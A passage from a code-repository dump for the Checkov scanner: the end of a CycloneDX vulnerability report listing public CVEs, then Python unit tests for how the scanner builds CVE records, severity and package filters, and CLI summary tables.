bom-ref=\"3db0a9af-4545-462f-826f-0463d681a9d9\">\n\t\t\t<id>CVE-2019-1010083</id>\n\t\t\t<source>\n\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2019-1010083</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2019-1010083</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>7.5</score>\n\t\t\t\t\t<severity>high</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.</description>\n\t\t\t<recommendation>fixed in 1.0</recommendation>\n\t\t\t<published>2019-07-17T16:15:00+02:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:pypi/bridgecrewio/example/path/to/requirements.txt/flask@0.6</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t\t<vulnerability bom-ref=\"f73c46be-30a7-4b8a-9ab5-da7fb52968b3\">\n\t\t\t<id>CVE-2020-26160</id>\n\t\t\t<source>\n\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2020-26160</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2020-26160</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>7.7</score>\n\t\t\t\t\t<severity>high</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>jwt-go before 4.0.0-preview1 allows attackers to bypass intended access restrictions in situations with []string{} for m[\\&quot;aud\\&quot;] (which is allowed by the specification). Because the type assertion fails, \\&quot;\\&quot; is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check.</description>\n\t\t\t<recommendation>fixed in v4.0.0-preview1</recommendation>\n\t\t\t<published>2020-09-30T20:15:00+02:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t\t<vulnerability bom-ref=\"91d3c50b-4a9e-40ad-a383-727fa439ad05\">\n\t\t\t<id>CVE-2020-29652</id>\n\t\t\t<source>\n\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2020-29652</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://nvd.nist.gov/vuln/detail/CVE-2020-29652</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>7.5</score>\n\t\t\t\t\t<severity>high</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 for Go allows remote attackers to cause a denial of service against SSH servers.</description>\n\t\t\t<recommendation>fixed in v0.0.2</recommendation>\n\t\t\t<published>2020-12-17T06:15:00+01:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t</vulnerabilities>\n</bom>\n"
  },
  {
    "path": "tests/sca_package_2/test_output.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom packaging import version as packaging_version\nfrom pathlib import Path\n\nfrom checkov.common.bridgecrew.severities import BcSeverities, Severities\nfrom checkov.common.models.enums import CheckResult, ScanDataFormat\nfrom checkov.common.sca.output import create_report_cve_record, create_report_license_record\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.sca_package_2.output import (\n    calculate_lowest_compliant_version,\n    create_cli_cves_table,\n    create_cli_output,\n    CveCount,\n)\nfrom tests.sca_package_2.conftest import get_vulnerabilities_details_package_json, get_vulnerabilities_details, \\\n    get_vulnerabilities_details_no_deps, get_vulnerabilities_details_package_lock_json, \\\n    create_cli_license_violations_table_wrapper, create_cli_output_wrapper, get_vulnerabilities_details_is_used_packages\n\nCLI_OUTPUTS_DIR = Path(__file__).parent / \"outputs\" / \"cli_outputs\"\n\n\ndef test_create_report_cve_record():\n    # given\n    rootless_file_path = \"requirements.txt\"\n    file_abs_path = \"/path/to/requirements.txt\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    vulnerability_details = {\n        \"id\": \"CVE-2019-19844\",\n        \"status\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n        \"cvss\": 9.8,\n        \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n        \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\",\n        \"severity\": \"critical\",\n        \"packageName\": \"django\",\n        \"packageVersion\": \"1.12\",\n        \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n        \"riskFactors\": [\"Attack complexity: low\", \"Attack vector: network\", \"Critical severity\", \"Has fix\"],\n        \"impactedVersions\": [\"<1.11.27\"],\n        \"publishedDate\": \"2019-12-18T20:15:00+01:00\",\n        \"discoveredDate\": \"2019-12-18T19:15:00Z\",\n        \"fixDate\": \"2019-12-18T20:15:00+01:00\",\n        \"fixCode\": \"django==2.2.9\",\n        \"fixCommand\": {\"msg\": \"After updating package version manually, run:\",\n                       \"cmds\": [\"pip install -r requirements.txt\"], \"manualCodeFix\": True}\n    }\n\n    # when\n    record = create_report_cve_record(\n        rootless_file_path=rootless_file_path,\n        file_abs_path=file_abs_path,\n        check_class=check_class,\n        vulnerability_details=vulnerability_details,\n        licenses='OSI_BDS',\n        package={'name': \"django\", 'version': \"1.12\", 'package_registry': \"https://registry.npmjs.org/\",\n                 'is_private_registry': False, \"lines\": [5, 5], \"code_block\": 'django==1.12'},\n        root_package={'name': \"django\", 'version': \"1.12\", \"lines\": [5, 5]},\n        used_private_registry=False\n    )\n\n    # then\n    assert record.bc_check_id == \"BC_CVE_2019_19844\"\n    assert record.check_id == \"CKV_CVE_2019_19844\"\n    assert record.check_class == check_class\n    assert record.check_name == \"SCA package scan\"\n    assert record.check_result == {\"result\": CheckResult.FAILED}\n    assert record.code_block == [(5, 'django==1.12')]\n    assert (\n            record.description\n            == \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\"\n    )\n    assert record.file_abs_path == file_abs_path\n    assert record.file_line_range == [5, 5]\n    assert record.file_path == f\"/{rootless_file_path}\"\n    assert record.repo_file_path == file_abs_path\n    assert record.resource == \"requirements.txt.django\"\n    assert record.severity == Severities[BcSeverities.CRITICAL]\n    assert record.short_description == \"CVE-2019-19844 - django: 1.12\"\n    assert record.vulnerability_details[\"status\"] == \"fixed in 3.0.1, 2.2.9, 1.11.27\"\n    assert record.vulnerability_details[\"lowest_fixed_version\"] == \"2.2.9\"\n    assert record.vulnerability_details[\"fixed_versions\"] == [\n        packaging_version.parse(\"3.0.1\"),\n        packaging_version.parse(\"2.2.9\"),\n    ]\n    assert record.vulnerability_details[\"licenses\"] == 'OSI_BDS'\n    assert record.vulnerability_details[\"root_package_version\"] == \"1.12\"\n    assert record.vulnerability_details[\"root_package_name\"] == \"django\"\n    assert record.fixed_definition == 'django==2.2.9'\n    assert record.vulnerability_details[\"fix_command\"] == {'msg': 'After updating package version manually, run:',\n                                                           'cmds': ['pip install -r requirements.txt'],\n                                                           'manualCodeFix': True}\n\n\ndef test_create_report_cve_record_results_from_platform():\n    # given\n    rootless_file_path = \"requirements.txt\"\n    file_abs_path = \"/path/to/requirements.txt\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    vulnerability_details = {\n        \"severity\": \"CRITICAL\",\n        \"riskFactors\": \"{\\\"Critical severity\\\":{},\\\"Attack vector: network\\\":{},\\\"Has fix\\\":{},\\\"Attack complexity: low\\\":{}}\",\n        \"id\": \"CVE-2019-19844\",\n        \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n        \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)\",\n        \"packageVersion\": \"1.2\",\n        \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n        \"packageName\": \"django\",\n        \"publishedDate\": \"2019-12-18T19:15:00Z\",\n        \"cvss\": 9.8,\n        \"status\": \"OPEN\",\n        \"cveStatus\": \"1.11.27\",\n        \"fileMetadataId\": \"d9f631f2-86b3-4d47-9b23-a2529c255392\",\n        \"ViolationResource\": {\n            \"scannerType\": \"Twistcli\",\n            \"customerName\": \"ipeleg\",\n            \"status\": \"OPEN\",\n            \"firstDetectionDate\": None,\n            \"updatedDate\": \"2022-08-23T09:37:27.207Z\",\n            \"resourceId\": \"/packages/requirements.txt\",\n            \"violationId\": \"BC_VUL_2\",\n            \"sourceId\": \"itai1357/terragoat1\",\n            \"ticket\": None,\n            \"metadataFixId\": None,\n            \"originalResourceDefinition\": None,\n            \"fixedResourceDefinition\": None,\n            \"errorLine\": None,\n            \"resourcePlanId\": None,\n            \"errorLines\": None,\n            \"variableCode\": None,\n            \"variableFixCode\": None,\n            \"resourceFixCode\": None,\n            \"gitBlameMetadataId\": None\n        },\n        \"isRootPackage\": None,\n        \"packageId\": \"49d27c4c-68cc-4eeb-ab98-d40a11334fdf\",\n        \"causePackageId\": \"49d27c4c-68cc-4eeb-ab98-d40a11334fdf\",\n        \"root_package_alias\": 'django@1.2',\n        \"root_package_version\": \"1.2\",\n        \"root_package_name\": 'django'\n    }\n\n    # when\n    record = create_report_cve_record(\n        rootless_file_path=rootless_file_path,\n        file_abs_path=file_abs_path,\n        check_class=check_class,\n        vulnerability_details=vulnerability_details,\n        licenses='OSI_BDS',\n        package={'name': \"django\", 'version': \"1.12\", 'package_registry': \"https://registry.npmjs.org/\",\n                 'is_private_registry': False, \"lines\": [6, 6], \"code_block\": 'django==1.12'},\n        scan_data_format=ScanDataFormat.PLATFORM,\n        root_package={'name': \"django\", 'version': \"1.2\"},\n        used_private_registry=False\n    )\n\n    # then\n\n    # in the case of scan_data_format=ScanDataFormat.FROM_PLATFORM we just have to make sure that 'status' and\n    # 'fix_version' are as expected, as the rest are the same as in default flow\n    # (can_data_format=ScanDataFormat.FROM_TWISTCLI)\n    assert \"lowest_fixed_version\" not in record.vulnerability_details\n    assert \"fixed_versions\" not in record.vulnerability_details\n    assert record.vulnerability_details[\"fix_version\"] == '1.11.27'\n\n\ndef test_create_report_cve_record_moderate_severity():\n    # given\n    rootless_file_path = \"requirements.txt\"\n    file_abs_path = \"/path/to/requirements.txt\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    vulnerability_details = {\n        \"id\": \"CVE-2019-19844\",\n        \"status\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n        \"cvss\": 9.8,\n        \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n        \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\",\n        \"severity\": \"moderate\",\n        \"packageName\": \"django\",\n        \"packageVersion\": \"1.2\",\n        \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n        \"riskFactors\": [\"Attack complexity: low\", \"Attack vector: network\", \"Critical severity\", \"Has fix\"],\n        \"impactedVersions\": [\"<1.11.27\"],\n        \"publishedDate\": \"2019-12-18T20:15:00+01:00\",\n        \"discoveredDate\": \"2019-12-18T19:15:00Z\",\n        \"fixDate\": \"2019-12-18T20:15:00+01:00\",\n        \"root_package_alias\": 'django@1.2',\n        \"root_package_version\": '1.2',\n        \"root_package_name\": 'django'\n    }\n\n    # when\n    record = create_report_cve_record(\n        rootless_file_path=rootless_file_path,\n        file_abs_path=file_abs_path,\n        check_class=check_class,\n        vulnerability_details=vulnerability_details,\n        licenses='OSI_BDS',\n        package={'package_registry': \"https://registry.npmjs.org/\", 'is_private_registry': False},\n        root_package={'name': \"django\", 'version': \"1.2\"},\n        used_private_registry=False\n    )\n\n    # then\n    assert record.severity == Severities[BcSeverities.MEDIUM]\n\n\ndef test_create_report_cve_record_severity_filter():\n    # given\n    rootless_file_path = \"requirements.txt\"\n    file_abs_path = \"/path/to/requirements.txt\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    vulnerability_details = {\n        \"id\": \"CVE-2019-19844\",\n        \"status\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n        \"cvss\": 9.8,\n        \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n        \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\",\n        \"severity\": \"moderate\",\n        \"packageName\": \"django\",\n        \"packageVersion\": \"1.2\",\n        \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n        \"riskFactors\": [\"Attack complexity: low\", \"Attack vector: network\", \"Critical severity\", \"Has fix\"],\n        \"impactedVersions\": [\"<1.11.27\"],\n        \"publishedDate\": \"2019-12-18T20:15:00+01:00\",\n        \"discoveredDate\": \"2019-12-18T19:15:00Z\",\n        \"fixDate\": \"2019-12-18T20:15:00+01:00\",\n        \"root_package_alias\": 'django@1.2',\n        \"root_package_version\": '1.2',\n        \"root_package_name\": 'django'\n    }\n\n    # when\n    record = create_report_cve_record(\n        rootless_file_path=rootless_file_path,\n        file_abs_path=file_abs_path,\n        check_class=check_class,\n        vulnerability_details=vulnerability_details,\n        runner_filter=RunnerFilter(checks=['HIGH']),\n        licenses='OSI_BDS',\n        package={'package_registry': \"https://registry.npmjs.org/\", 'is_private_registry': False},\n        root_package={'name': \"django\", 'version': \"1.2\"},\n        used_private_registry=False\n    )\n\n    # then\n    assert record.bc_check_id == \"BC_CVE_2019_19844\"\n    assert record.check_id == \"CKV_CVE_2019_19844\"\n    assert record.check_class == check_class\n    assert record.check_name == \"SCA package scan\"\n    assert record.check_result == {\"result\": CheckResult.SKIPPED, 'suppress_comment': 'Filtered by severity'}\n    assert record.code_block == [(0, \"django: 1.2\")]\n    assert (\n            record.description\n            == \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\"\n    )\n    assert record.file_abs_path == file_abs_path\n    assert record.file_line_range == [0, 0]\n    assert record.file_path == f\"/{rootless_file_path}\"\n    assert record.repo_file_path == file_abs_path\n    assert record.resource == \"requirements.txt.django\"\n    assert record.severity == Severities[BcSeverities.MEDIUM]\n    assert record.short_description == \"CVE-2019-19844 - django: 1.2\"\n    assert record.vulnerability_details[\"lowest_fixed_version\"] == \"1.11.27\"\n    assert record.vulnerability_details[\"fixed_versions\"] == [\n        packaging_version.parse(\"3.0.1\"),\n        packaging_version.parse(\"2.2.9\"),\n        packaging_version.parse(\"1.11.27\"),\n    ]\n    assert record.vulnerability_details[\"licenses\"] == 'OSI_BDS'\n\n\ndef test_create_report_cve_record_package_filter():\n    # given\n    rootless_file_path = \"requirements.txt\"\n    file_abs_path = \"/path/to/requirements.txt\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    vulnerability_details = {\n        \"id\": \"CVE-2019-19844\",\n        \"status\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n        \"cvss\": 9.8,\n        \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n        \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\",\n        \"severity\": \"critical\",\n        \"packageName\": \"django\",\n        \"packageVersion\": \"1.2\",\n        \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n        \"riskFactors\": [\"Attack complexity: low\", \"Attack vector: network\", \"Critical severity\", \"Has fix\"],\n        \"impactedVersions\": [\"<1.11.27\"],\n        \"publishedDate\": \"2019-12-18T20:15:00+01:00\",\n        \"discoveredDate\": \"2019-12-18T19:15:00Z\",\n        \"fixDate\": \"2019-12-18T20:15:00+01:00\",\n        \"root_package_alias\": 'django@1.2',\n        \"root_package_version\": '1.2',\n        \"root_package_name\": 'django',\n        \"fixCode\": 'django==1.11.27',\n        \"fixCommand\": {\"msg\": \"After updating package version manually, run:\",\n                       \"cmds\": [\"pip install -r requirements.txt\"], \"manualCodeFix\": True}\n    }\n\n    # when\n    record = create_report_cve_record(\n        rootless_file_path=rootless_file_path,\n        file_abs_path=file_abs_path,\n        check_class=check_class,\n        vulnerability_details=vulnerability_details,\n        runner_filter=RunnerFilter(skip_cve_package=['django', 'requests']),\n        licenses='OSI_BDS',\n        package={'package_registry': \"https://registry.npmjs.org/\", 'is_private_registry': False},\n        root_package={'name': \"django\", 'version': \"1.2\"},\n        used_private_registry=False\n    )\n\n    # then\n    assert record.bc_check_id == \"BC_CVE_2019_19844\"\n    assert record.check_id == \"CKV_CVE_2019_19844\"\n    assert record.check_class == check_class\n    assert record.check_name == \"SCA package scan\"\n    assert record.check_result == {\"result\": CheckResult.SKIPPED, \"suppress_comment\": \"Filtered by package 'django'\"}\n    assert record.code_block == [(0, \"django: 1.2\")]\n    assert (\n            record.description\n            == \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\"\n    )\n    assert record.file_abs_path == file_abs_path\n    assert record.file_line_range == [0, 0]\n    assert record.file_path == f\"/{rootless_file_path}\"\n    assert record.repo_file_path == file_abs_path\n    assert record.resource == \"requirements.txt.django\"\n    assert record.severity == Severities[BcSeverities.CRITICAL]\n    assert record.short_description == \"CVE-2019-19844 - django: 1.2\"\n    assert record.vulnerability_details[\"lowest_fixed_version\"] == \"1.11.27\"\n    assert record.vulnerability_details[\"fixed_versions\"] == [\n        packaging_version.parse(\"3.0.1\"),\n        packaging_version.parse(\"2.2.9\"),\n        packaging_version.parse(\"1.11.27\"),\n    ]\n    assert record.vulnerability_details[\"licenses\"] == 'OSI_BDS'\n\n\ndef test_calculate_lowest_compliant_version():\n    # given\n    package_versions_list = [\n        [\"3.0.1\", \"2.2.9\", \"1.11.27\", \"1.9.8\"],\n        [\"1.9.8\", \"1.8.14\"],\n        [\"1.9.10\", \"1.8.15\"],\n        [\"3.2.4\", \"3.1.12\", \"2.2.24\"],\n    ]\n\n    fix_versions_lists = [\n        [packaging_version.parse(version) for version in package_versions] for package_versions in package_versions_list\n    ]\n\n    # when\n    compliant_version = calculate_lowest_compliant_version(fix_versions_lists)\n\n    # then\n    assert compliant_version == \"2.2.24\"\n\n\ndef test_create_cli_cves_table():\n    # given\n    file_path = \"/path/to/requirements.txt\"\n    cve_count = CveCount(total=6, critical=0, high=3, medium=2, low=0, skipped=1, has_fix=5, to_fix=5)\n    package_details_map = {\n        'django@1.2': {\n            'cves': [{'id': 'CVE-2016-7401', 'severity': 'high', 'fixed_version': '1.8.15',\n                      \"root_package_name\": 'django',\n                      \"root_package_version:\": \"1.2\",\n                      \"package_name\": 'django',\n                      \"package_version\": \"1.2\",\n                      \"is_private_fix\": None,\n                      \"lines\": [1, 2]},\n                     {'id': 'CVE-2016-6186', 'severity': 'medium', 'fixed_version': '1.8.14',\n                      \"root_package_name\": 'django',\n                      \"root_package_version:\": \"1.2\",\n                      \"package_name\": 'django',\n                      \"package_version\": \"1.2\",\n                      \"is_private_fix\": None\n                      },\n                     {'id': 'CVE-2021-33203', 'severity': 'medium', 'fixed_version': '2.2.24',\n                      \"root_package_name\": 'django',\n                      \"root_package_version:\": \"1.2\",\n                      \"package_name\": 'django',\n                      \"package_version\": \"1.2\",\n                      \"is_private_fix\": None\n                      }],\n            'compliant_version': '2.2.24'},\n        'flask@0.6': {\n            'cves': [{'id': 'CVE-2019-1010083', 'severity': 'high', 'fixed_version': '1.0',\n                      \"root_package_name\": 'flask',\n                      \"root_package_version:\": \"0.6\",\n                      \"package_name\": 'flask',\n                      \"package_version\": \"0.6\",\n                      \"is_private_fix\": None\n                      },\n                     {'id': 'CVE-2018-1000656', 'severity': 'high', 'fixed_version': '0.12.3',\n                      \"root_package_name\": 'flask',\n                      \"root_package_version:\": \"0.6\",\n                      \"package_name\": 'flask',\n                      \"package_version\": \"0.6\",\n                      \"is_private_fix\": None\n                      }],\n            'compliant_version': '1.0'}}\n\n    # when\n    table = create_cli_cves_table(\n        file_path=file_path,\n        cve_count=cve_count,\n        package_details_map=package_details_map,\n        lines_details_found=True\n    )\n\n    # then\n    assert table == \"\".join(\n        [\n            \"\\t/path/to/requirements.txt - CVEs Summary:\\n\",\n            \"\\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\\n\",\n            \"\\t│ Total CVEs: 6        │ critical: 0          │ high: 3              │ medium: 2            │ low: 0               │ skipped: 1           │ Total Packages Used: │\\n\",\n            \"\\t│                      │                      │                      │                      │                      │                      │ 0                    │\\n\",\n            \"\\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\\n\",\n            \"\\t│ To fix 5/5 CVEs, go to your Prisma Cloud account                                                                                                               │\\n\",\n            \"\\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\\n\",\n            \"\\t│ Package [Lines]      │ CVE ID               │ Severity             │ Current version      │ Root fixed version   │ Compliant version    │ Reachability         │\\n\",\n            \"\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n\",\n            \"\\t│ django [1-2]         │ CVE-2016-7401        │ high                 │ 1.2                  │ 1.8.15               │ 2.2.24               │                      │\\n\",\n            \"\\t│                      │ CVE-2016-6186        │ medium               │                      │ 1.8.14               │                      │                      │\\n\",\n            \"\\t│                      │ CVE-2021-33203       │ medium               │                      │ 2.2.24               │                      │                      │\\n\",\n            \"\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n\",\n            \"\\t│ flask                │ CVE-2019-1010083     │ high                 │ 0.6                  │ 1.0                  │ 1.0                  │                      │\\n\",\n            \"\\t│                      │ CVE-2018-1000656     │ high                 │                      │ 0.12.3               │                      │                      │\\n\",\n            \"\\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\\n\",\n        ]\n    )\n\n\ndef test_create_cli_license_violations_table_no_line_numbers():\n    # when\n    table = create_cli_license_violations_table_wrapper(with_line_numbers=False)\n\n    # then\n    assert table == \"\".join(\n        [\n            \"\\t/requirements.txt - Licenses Statuses:\\n\",\n            \"\\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\\n\",\n            \"\\t│ Package name                   │ Package version                │ Policy ID                      │ License                            │\\n\",\n            \"\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n\",\n            \"\\t│ django                         │ 1.2                            │ BC_LIC_1                       │ DUMMY_LICENSE                      │\\n\",\n            \"\\t│                                │                                │ BC_LIC_1                       │ DUMMY_LICENSE2                     │\\n\",\n            \"\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n\",\n            \"\\t│ django                         │ 1.12                           │ BC_LIC_1                       │ DUMMY_LICENSE3                     │\\n\",\n            \"\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n\",\n            \"\\t│ flask                          │ 0.6                            │ BC_LIC_1                       │ DUMMY_LICENSE3                     │\\n\",\n            \"\\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\\n\",\n        ]\n    )\n\n\ndef test_create_cli_license_violations_table_with_line_numbers():\n    # when\n    table = create_cli_license_violations_table_wrapper(with_line_numbers=True)\n\n    # then\n    assert table == \"\".join(\n        [\n            \"\\t/requirements.txt - Licenses Statuses:\\n\",\n            \"\\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\\n\",\n            \"\\t│ Package name [Lines]           │ Package version                │ Policy ID                      │ License                            │\\n\",\n            \"\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n\",\n            \"\\t│ django [1-2]                   │ 1.2                            │ BC_LIC_1                       │ DUMMY_LICENSE                      │\\n\",\n            \"\\t│                                │                                │ BC_LIC_1                       │ DUMMY_LICENSE2                     │\\n\",\n            \"\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n\",\n            \"\\t│ django                         │ 1.12                           │ BC_LIC_1                       │ DUMMY_LICENSE3                     │\\n\",\n            \"\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n\",\n            \"\\t│ flask [5-6]                    │ 0.6                            │ BC_LIC_1                       │ DUMMY_LICENSE3                     │\\n\",\n            \"\\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\\n\",\n        ]\n    )\n\n\ndef test_create_cli_cves_table_with_no_found_vulnerabilities():\n    # given\n    file_path = \"/path/to/requirements.txt\"\n    cve_count = CveCount(total=2, critical=0, high=0, medium=0, low=0, skipped=2, has_fix=0, to_fix=0)\n    package_details_map = {}\n\n    # when\n    table = create_cli_cves_table(\n        file_path=file_path,\n        cve_count=cve_count,\n        package_details_map=package_details_map,\n        lines_details_found=False\n    )\n\n    # then\n    assert table == \"\".join(\n        [\n            \"\\t/path/to/requirements.txt - CVEs Summary:\\n\",\n            \"\\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\\n\",\n            \"\\t│ Total CVEs: 2        │ critical: 0          │ high: 0              │ medium: 0            │ low: 0               │ skipped: 2           │ Total Packages Used: │\\n\",\n            \"\\t│                      │                      │                      │                      │                      │                      │ 0                    │\\n\",\n            \"\\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\\n\",\n            \"\\t│ To fix 0/0 CVEs, go to your Prisma Cloud account                                                                                                               │\\n\",\n            \"\\t└────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘\\n\",\n        ]\n    )\n\n\ndef test_create_cli_output_no_line_numbers():\n    # when\n    cli_output = create_cli_output_wrapper(with_line_numbers=False)\n\n    # then\n    assert cli_output == \"\".join(\n        [\n            \"\\t/requirements.txt - CVEs Summary:\\n\",\n            \"\\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\\n\"\n            \"\\t│ Total CVEs: 2        │ critical: 1          │ high: 0              │ medium: 1            │ low: 0               │ skipped: 0           │ Total Packages Used: │\\n\"\n            \"\\t│                      │                      │                      │                      │                      │                      │ 0                    │\\n\"\n            \"\\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\\n\"\n            \"\\t│ To fix 2/2 CVEs, go to your Prisma Cloud account                                                                                                               │\\n\"\n            \"\\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\\n\"\n            \"\\t│ Package              │ CVE ID               │ Severity             │ Current version      │ Root fixed version   │ Compliant version    │ Reachability         │\\n\"\n            \"\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n\"\n            \"\\t│ django               │ CVE-2019-19844       │ CRITICAL             │ 1.2                  │ 1.11.27              │ 1.11.27              │                      │\\n\"\n            \"\\t│                      │ CVE-2016-6186        │ MEDIUM               │                      │ 1.8.14               │                      │                      │\\n\"\n            \"\\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\\n\"\n            \"\\n\",\n            \"\\t/requirements.txt - Licenses Statuses:\\n\",\n            \"\\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\\n\",\n            \"\\t│ Package name                   │ Package version                │ Policy ID                      │ License                            │\\n\",\n            \"\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n\"\n            \"\\t│ django                         │ 1.2                            │ BC_LIC_1                       │ DUMMY_LICENSE                      │\\n\"\n            \"\\t│                                │                                │ BC_LIC_1                       │ DUMMY_LICENSE2                     │\\n\"\n            \"\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n\"\n            \"\\t│ django                         │ 1.12                           │ BC_LIC_2                       │ DUMMY_LICENSE_3                  